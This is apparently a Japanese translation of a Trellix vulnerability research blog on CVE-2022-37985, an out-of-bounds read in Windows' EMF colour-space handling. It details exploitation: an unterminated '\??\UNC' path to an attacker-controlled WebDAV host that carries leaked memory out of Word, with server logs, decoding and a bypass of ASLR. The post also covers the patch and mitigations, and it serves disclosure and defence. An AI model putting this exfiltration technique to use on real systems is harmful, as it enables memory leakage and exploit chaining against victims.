概要
2022年10月、MicrosoftはWindows Graphics Componentに存在する独自の情報漏洩の脆弱性に対応するセキュリティパッチをリリースしました。CVE-2022-37985として知られているこの脆弱性は、Trellix Advanced Research Centerによって発見され、Microsoftに報告されました。この情報漏洩の脆弱性は、遠隔地の攻撃者が、脆弱なコンポーネント自体のネイティブなネットワーク機構を通じて、メモリアドレスなどの機密情報を流出させることができるという点でユニークです。この機能は、Microsoft Wordのメモリ破壊の脆弱性を悪用する場合など、特定の脆弱性悪用シナリオの下で特に有用である可能性があります。このような脆弱性の悪用は、メモリ上のデータを操作するためのJavaScriptエンジンのような対話型スクリプトランタイムがないため、非常に困難であると考えられています。この悪用シナリオでは、攻撃者は、本脆弱性の悪用を含むWord文書を活用して、モジュールアドレス情報を取得し、アドレス空間レイアウトランダム化(ASLR)保護を無効にすることができます。さらに、この脆弱性が他のメモリ書き込みの脆弱性と連動して利用された場合、Microsoft Wordでリモートコード実行を実現することが可能になります。本ブログでは、CVE-2022-37985の技術的な詳細を深く掘り下げ、脆弱性の根本原因を探り、その悪用方法について説明します。さらに、Microsoft社がリリースしたセキュリティパッチがこの問題をどのように修正するかを検証し、このユニークな脆弱性に関連するリスクを軽減するためのガイダンスを提供します。CVE-2022-37985に対するMicrosofのパッチに関する詳細は、Microsofセキュリティレスポンスセンターのウェブサイト(https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37985)に掲載されています。
根本的な原因分析
この脆弱性(CVE-2022-37985)は、特別に細工されたEnhanced Metafile Format(EMF)画像ファイルをレンダリングし、そのサムネイル画像を抽出することなどによって誘発される可能性があります。EMFは、グラフィカルイメージのポータブルな表現を保存するために使用されるファイルフォーマットであり、EMFメタファイルは、描画コマンド、オブジェクト定義、および構成設定を含む一連のレコードで構成されています。これらのレコードは、保存された画像を出力デバイスにレンダリングするために解析・処理されます。本脆弱性の原因となる特定のレコードは、EMR_CREATECOLORSPACEレコードで、ASCIIファイル名のカラープロファイルから論理色空間オブジェクトを作成するために使用されます。カラーマネジメントにおいて、色空間とは、RGBなどの表現可能な特定の色の範囲を指します。一方、カラープロファイルファイルは、特定のデバイスや色空間の色特性を記述したデータファイルで、異なるデバイスや色空間間で色を変換し、さまざまな媒体で色の一貫性と正確性を維持するために使用されます。
EMR_CREATECOLORSPACEレコードとLogColorSpaceオブジェクトの構造は、以下の図1に示すように、それぞれMS-EMF仕様とMS-WMF仕様に定義されています。EMR_CREATECOLORSPACEレコードには、作成する論理色空間を指定するLogColorSpaceオブジェクトが埋め込まれます。LogColorSpaceオブジェクトの中には、オプションで可変長のFilenameフィールドがあり、カラープロファイルの名前をASCII文字で指定し、最大長は260バイトです。通常、FilenameフィールドはNULL で終了するのASCII文字列である必要があり、EMR_CREATECOLORSPACEレコードのSizeフィールドは、変数Filename部分を含むレコード全体の長さを適切に反映する必要があります。
図 1 EMR_CREATECOLORSAPCEレコードとLogColorSpaceオブジェクト
gdi32full.dllライブラリはEMFレコードの解析と処理を行うWindows Graphics Componentで、MRCREATECOLORSPACE::bPlay関数はEMR_CREATECOLORSPACEレコードの再生ハンドラとして機能します。MRCREATECOLORSPACE::bPlayは、CreateColorSpaceA関数を呼び出して論理色空間オブジェクトを作成する前に、MRCREATECOLORSPACE::bCheckRecord関数でEMR_CREATECOLORSPACEレコードを事前にチェックします。その名前が示すように、この関数はEMR_CREATECOLORSPACEレコードの整合性を確保することを目的としています。しかし、MRCREATECOLORSPACE::bCheckRecordは、Filenameフィールドの長さが260バイトを超えないことを検証するだけで、その存在やNULL文字による終了を検証しません(図2参照)。このため、後で欠陥のあるFilenameフィールドにアクセスすると、境界外の読み取り状態になることがあります。
図2 パッチ適用前のMRCREATECOLORSPACE::bCheckRecord
前述のチェックロジックの欠陥により、不正なEMR_CREATECOLORSPACEレコードがMRCREATECOLORSPACE::bCheckRecordによるチェックを回避してCreateColorSpaceA関数に送られる可能性があります。この関数では、Filenameフィールドの長さが計算され、ASCII FilenameがUnicode形式に変換されてから、指定されたカラープロファイルファイルをロードするCreateColorSpaceInternalW関数に渡されます。不正な形式のEMR_CREATECOLORSPACEレコードの例を次のスクリーンショットに示します。この場合、Filenameフィールドが存在せず、長さの計算コードで4つの未初期化パディングバイト(0xd0d0d0)がレコードの末尾を超えて読み込まれ、マッピングされていないアドレス(ページヒープが有効)で停止します。これは典型的な境界外読み取りの脆弱性であり、最大260バイトまでのヒープメモリが漏れる可能性があります。
図3 不正なEMR_CREATECOLORSPACEレコードによる境界外読み取り
脆弱性の悪用
この脆弱性をMSRCに最初に報告した際、MSRCはこの脆弱性を限定的な情報開示の問題とみなし、セキュリティアップデートを行うほどの深刻な問題とはみなしていませんでした。この評価には、2つの理由が考えられます。まず、脆弱性の本質的な性質上、リークされたメモリバイトを将来の使用のために返すのは困難です。Canvas Pixel APIを呼び出すなど、スクリプトランタイムを介して画像関連の情報漏洩の脆弱性を悪用することは、よく知られた一般的な手法ですが、今回のケースでは、漏洩したデータを読み戻すために使用することはできません。さらに、ChromeやEdgeなどのモダンブラウザを含むスクリプトランタイムをサポートする脆弱なアプリケーションのほとんどは、メタファイル画像レンダリングのサポートを終了しており、脆弱性の範囲が制限されています。第二に、FilenameフィールドはASCII文字列として処理されるため、NULL文字(0x00)に検出された時点で境界外アクセスが停止し、脆弱性の重大度が軽減されます。しかし、簡単にあきらめるわけにはいかないので、この2つの課題を解決するために、別の悪用方法を探して調査を続けました。
数時間に及ぶ仕様の精査とデバッグの結果、最終的に、漏洩したメモリデータを抽出するために利用できるネイティブ ネットワークチャネルを発見しました。キーはLogColorSpaceオブジェクト (図 1 を参照) のColorSpaceTypeフィールドにあり、特に、LCS_PROFILE_LINKED(0x4C494E4B)という列挙値が割り当てられると、別のファイルからカラープロファイルを読み込むことができます(LCS_CALIBRATED_RGBも同じ目的で使用できる場合があります)。LCS_PROFILE_LINKEDでは、外部のカラープロファイルを読み込むことができるため、この機能でUNCパスからプロファイルを読み込める可能性があると推測されます。UNCパスの文字列を終端せずに、制御下のリモートマシンを指すUNCパスを指定すると、カラープロファイルファイルのパスをUnicode形式に変換する際に、文字列の境界を読み出すことになります。そのため、変換後のファイルパスには、境界外読み出しで漏れたメモリバイトが含まれる可能性があり、そのバイトは、リモートカラープロファイル読み込み要求と一緒にリモートマシンに送信されます。そこで、ColorSpaceTypeフィールドにLCS_PROFILE_LINKED、Filenameに” \172.16.96.***”を設定したLogColorSpaceオブジェクトを作成しました。しかし、この最初の試みは期待通りにはいかず、リモートのカラープロファイルのロード要求が全く送信されないようでした。
その後、CreateColorSpaceInternalW関数をさらに深くトレースすることに時間を費やしました。その結果、CreateColorSpaceInternalW関数から呼び出されるBuildIcmProfilePath関数によって、UNCパスが実際にブロックされていることが判明しました。この関数は、カラープロファイルのパスがダブルスラッシュまたはバックスラッシュ文字で始まっているかどうかを確認し、どちらかが見つかった場合はエラーを返します(下図4参照)。
図4 BuildIcmProfilePath関数でのUNCパスチェック
この知識をもとに、「\\」を NTの内部パスプレフィックス表現「\??\UNC」に置き換えてみることにしました。嬉しいことに、この代替パスプレフィックスは、BuildIcmProfilePath関数によるチェックをうまく回避し、リモートカラープロファイル読み込み要求が何の問題もなくKERNELBASE!CreateFileWに到達することを可能にしました。図5は、漏れたメモリバイトがCreateFileW APIのlpFileNameパラメータの一部になっていることを示しています。ファイルオープン要求がそこに到着すると、オペレーティングシステムが残りの処理を行います。UNCパススキームに応じて、オペレーティングシステムは、WEBDAV(HTTP拡張機能)またはSMB経由など、リクエストを配信するための適切なネットワークプロトコルを選択することになります。Windowsのデフォルト設定では、SMBがデフォルトで使用されるプロトコルとなります。ただし、UNCパスでポートが指定されている場合(@記号を使用)、WEBDAVプロトコルが使用されます。また、密輸データの非ASCII文字や印字できない文字は、WEBDAV URIでパーセントエンコードされているなど、エンコードされている可能性が高いので、受信側でこの情報を復元するためのデコーダが必要になる可能性があることにも注意してください。
図5 遠隔地からのカラープロファイル読み込み要求による情報流出
これまで、1つ目の課題はクリアできたが、2つ目の課題である「NULL文字によるデータの切り捨て」は、避けられない障害であるようです。しかし、すべてが失われたわけではありません。この問題を軽減する方法はまだあります。1つは、脆弱性のトリガーの数を増やすことです。例えば、EMF画像内に不正なEMR_CREATECOLORSPACEレコードを多数作成し、そのEMFをWord文書に複数コピーして埋め込むことで実現できます。さらに、UNCパスの長さを制御できるため、Windowsのヒープ風水技術を利用してパスの長さ(レコード全体のサイズ)を調整し、レコードをヒープ上の異なる領域(つまり異なるヒープバケット)に配置することができます。この2つの手段を採用することで、仮想関数テーブルポインタ(vftable pointer)や部分的なoauth2アクセストークン(base64エンコード)など、標的となるアプリケーションから意味のある情報をうまく漏えいできる可能性を最大化することができます。
悪用が進行中
ここでは、Microsoft Word for Microsoft 365 (64-bit) を対象とし、Word文書を開いた際に、埋め込まれた EMF画像をレンダリングしようとする脆弱性を紹介します。この脆弱性を悪用して機密情報を漏えいさせる方法を紹介するために、これを例として使用します。この脆弱性を利用するために、Filenameフィールドの先頭を”˶\??\UNC\172.16.96.***@8888\”とし、WEBDAVサーバーへの誘導、そしてレコードサイズを制御できるパディングバイトを連続させ、その後に” x” とします。また、前述の通り、EMFファイルをWord文書に複数挿入することで、脆弱性の悪用に成功する可能性を高める手口も利用します。攻撃者側では、SharpWebServerツールを採用し、指定されたポートをリッスンし、HTTPリクエストの着信を監視する予定です。悪意のあるWord文書は、フィッシングメールやSharePoint上のリンク、サムドライブなど、さまざまな方法で被害者に配布することができます。被害者が文書を開くと、埋め込まれたEMF画像がwinword.exeプロセス内で処理され、繰り返し脆弱性が誘発されます。この時点で、SharpWebServerは、URIにリークされたメモリが隠されているHTTPリクエストの着信を検出する必要があります。簡単なPythonスクリプトで、漏洩したデータを解読することができ、被害者のシステム上のwinword.exeにWindbgをアタッチすることで漏洩した情報の真偽を確認することも可能です。
C:\>SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true
:: SharpWebServer ::
a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality
[.] Serving HTTP server on port : 8888
[.] Serving files from directory : C:\Windows\Temp
[.] Verbose mode turned on.
…
SharpWebServer [06.07.22, 18:39:40] 172.16.96.*** – “PROPFIND
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/%C3%A8%C3%96i%C2%B6%C3%BD%7F” – len: 0 (404)
…
SharpWebServer [06.07.22, 18:40:20] 172.16.96.*** – “PROPFIND
/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/%C5%BD%C2%A4%C3%86%C2%B6%C3%BD%7F” – len: 0 (404)
…
C:\>python decode.py %C3%A8%C3%96i%C2%B6%C3%BD%7F
The original leaked bytes are: ‘\xe8\xd6i\xb6\xfd\x7f’
The decoded leaked bytes are: 0xe8 0xd6 0x69 0xb6 0xfd 0x7f
The leaked bytes could be a pointer: 0x7ffdb669d6e8
C:\>python decode.py %C5%BD%C2%A4%C3%86%C2%B6%C3%BD%7F
The original leaked bytes are: ‘\u017d\xa4\xc6\xb6\xfd\x7f’
The decoded leaked bytes are: 0x8e 0xa4 0xc6 0xb6 0xfd 0x7f
The leaked bytes could be a pointer: 0x7ffdb6c6a48e
0:034> u 0x7ffdb669d6e8
mso20win32client!Ordinal1409+0x1f998:
00007ffd`b669d6e8 c03939 sar byte ptr [rcx],39h
00007ffd`b669d6eb b6fd mov dh,0FDh
00007ffd`b669d6ed 7f00 jg mso20win32client!Ordinal1409+0x1f99f (00007ffd`b669d6ef)
0:034> dp 0x7ffdb669d6e8 L1
00007ffd` b669d6e8 00007ffd`b63939c0
0:034> u 0x7ffdb6c6a48e
wwlib!DllMain+0x10bc5e:
00007ffd`b6c6a48e 3d01020480 cmp eax,80040201h
00007ffd`b6c6a493 0f841fa7ffff je wwlib!DllMain+0x106388 (00007ffd`b6c64bb8)
上記のProof of Concept(PoC)は、この脆弱性を悪用して、vftableポインタやロードされたモジュールのアドレスなど、メモリから有用な情報を漏えいする方法を示しています。この情報漏えいの脆弱性の悪用は、通常、その場で情報が開示され利用される従来の方法とは異なることに注目する必要があります。しかし、この脆弱性では、流出した情報は攻撃者に送り返され、後で利用されます。この属性は、Microsoft Officeのメモリベースの脆弱性を悪用する場合など、特定の状況下で有利に働くと考えています。
ご存知のように、Microsoft Officeのメモリベースの脆弱性は、主にMicrosoft Officeが、漏洩したメモリ情報を読み返すなど、メモリ内のデータを操作するためのスクリプト言語(ブラウザベースの悪用という文脈ではJavaScriptに類似)のサポートを欠いているため、悪用が困難です。しかし、この情報漏洩の脆弱性は、漏洩した情報をネイティブのネットワークチャネルを通じて攻撃者に送り返すことで、この問題を解決することができます。この情報をもとに、攻撃者は別のメモリ書き込み脆弱性を利用した第2段階のエクスプロイトを構築し、最終的に対象マシン上でリモートコード実行を実現することが可能です。このように、複数のステージからなるチェーンのようなセットアップでは、第1段階のエクスプロイトはWord文書に埋め込まれ、第2段階のエクスプロイトは実行時に取得されます。第2段階のエクスプロイトへのリンクを同じWord文書にあらかじめ埋め込んでおき、攻撃者が制御するUNCパスを指し示すことも可能です。しかし、攻撃者は、第2段階のエクスプロイトの取得をトリガーするタイミングを正確に制御する必要があります。
脆弱性の緩和策
これまで、CVE-2022-37985の技術的な詳細について、根本原因や悪用方法などを徹底的に探ってきました。本項では、本脆弱性の緩和策について説明します。
この問題を軽減する最も簡単で効果的な方法は、この脆弱性のために特別にリリースされたMicrosoftパッチを適用することです。このパッチは、MRCREATECOLORSPACE::bCheckRecord関数を修正し、EMR_CREATECOLORSPACEレコードの整合性を検証するための追加チェックを導入しました。新たに追加されたチェックでは、FilenameフィールドがNULLで終了するのASCII文字列であること、およびその長さがEMR_CREATECOLORSPACEレコードのSizeフィールドに正しく含まれることが確認されます(図6参照)。この脆弱性は悪用されやすく、潜在的な影響も大きいため、影響を受けるWindowsバージョンのすべてのユーザーが、できるだけ早くオペレーティングシステムを最新版に更新することを強く推奨します。
図6 パッチ適用後のMRCREATECOLORSPACE::bCheckRecord
Microsoft 社のパッチを適用できない一部のシステムでは、ユーザーは一時的にウェブクライアントサービスを無効にして、WEBDAVプロトコルによるデータ漏洩を防止することができます。さらに、疑わしい発信ネットワークトラフィックを注意深く監視することで、潜在的な悪用の試みを特定することもできます。Microsoft Wordの悪用シナリオの場合、ユーザーは「保護されたビュー」機能が有効であることを確認する必要があります。この機能は、Word文書に埋め込まれた信頼できないコンテンツを効果的にブロックし、悪用の試みを防止するのに役立ちます。
最後に、ユーザーを攻撃から保護するために、サードパーティーのセキュリティ製品も適した選択肢です。Trellixは、この脆弱性の悪用の試みを検出するために使用できるネットワークIPSシグネチャ「0x452b8e00: http: Microsoft Windows Graphics Component Information Disclosure Vulnerability (CVE-2022-37985) 」 を提供しています。
結論
本ブログでは、Windows Graphics Componentに存在する独自の情報漏洩の脆弱性であるCVE-2022-37985の詳細について掘り下げ、リモート攻撃者が内蔵のネットワーク機構を通じて機密情報を流出させることができることを説明しました。本脆弱性の根本的な原因を探り、その悪用方法について解説するとともに、この問題に対処するためにMicrosoft社がリリースしたセキュリティパッチを紹介しました。さらに、Microsoft Wordを例に、この脆弱性を利用してASLR保護をバイパスする方法と、他の脆弱性と併用することで、この脆弱性が本物のリモートコード実行エクスプロイトとして武器化される可能性を示しました。CVE-2022-37985の特徴的な性質は、継続的に警戒し、新たな脅威に注意を払い続けることの重要性を強調しています。CVE-2022-3785の悪用可能性と影響力を考慮し、Trellix Advanced Research Centerでは、すべてのユーザーがベストセキュリティプラクティスに従うこと、セキュリティパッチを速やかに適用すること、侵入防止製品を導入することなど、自身を守るために必要な措置をとることを強く求めています。
原文:The Art of Information Disclosure: A Deep Dive into CVE-2022-37985, a Unique Information Disclosure Vulnerability in Windows Graphics Component
著者: Bing Sun